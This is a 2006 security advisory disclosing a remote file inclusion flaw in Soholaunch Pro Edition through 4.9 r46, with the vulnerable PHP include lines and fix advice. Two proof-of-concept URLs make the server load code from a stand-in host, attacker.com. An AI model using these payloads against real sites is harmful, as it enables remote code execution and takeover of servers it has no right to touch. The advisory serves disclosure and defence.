Author : Dedi Dwianto a.k.a the_day  
Date Found : October, 31th 2006  
Location : Indonesia, Jakarta  
web : http://advisories.echo.or.id/adv/adv57-theday-2006.txt  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : Soholaunch Pro Edition  
version : <=4.9 r46  
URL : http://www.soholaunch.com  
  
Soholaunch Pro Edition is a software product that makes it easy for people of all experience levels to create   
and maintain a great website. It reins-in the hard parts of building a website and presents them a way that the   
non-geek can understand and control  
---------------------------------------------------------------------------  
  
Vulnerability:  
~~~~~~~~~~~~~  
  
I found vulnerability in script shared_functions.php  
--------------------------shared_functions.php-----------------------------------  
....  
<?  
...  
include_once($_SESSION['docroot_path']."/sohoadmin/includes/mysql_insert.class.php");  
  
# userData manipulation class (works with misc_userdata table)  
  
include_once($_SESSION['docroot_path']."/sohoadmin/includes/userdata.class.php");  
  
...  
----------------------------------------------------------  
  
Input passed to the "$_SESSION['docroot_path']" parameter in shared_functions.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
Also affected files :  
  
/client_files/shopping_cart/pgm-shopping_css.inc.php  
/program/includes/shared_functions.php  
  
  
  
Proof Of Concept:  
~~~~~~~~~~~~~~  
  
http://target.com/sohoadmin/program/includes/shared_functions.php?_SESSION[docroot_path]=http://attacker.com/inject.txt?  
http://target.com/sohoadmin/client_files/shopping_cart/pgm-shopping_css.inc.php?_SESSION[docroot_path]=http://attacker.com/inject.txt?  
  
  
Solution:  
~~~~~~  
  
- Sanitize variable $_SESSION['docroot_path'] affected files.  
- Turn off register_globals
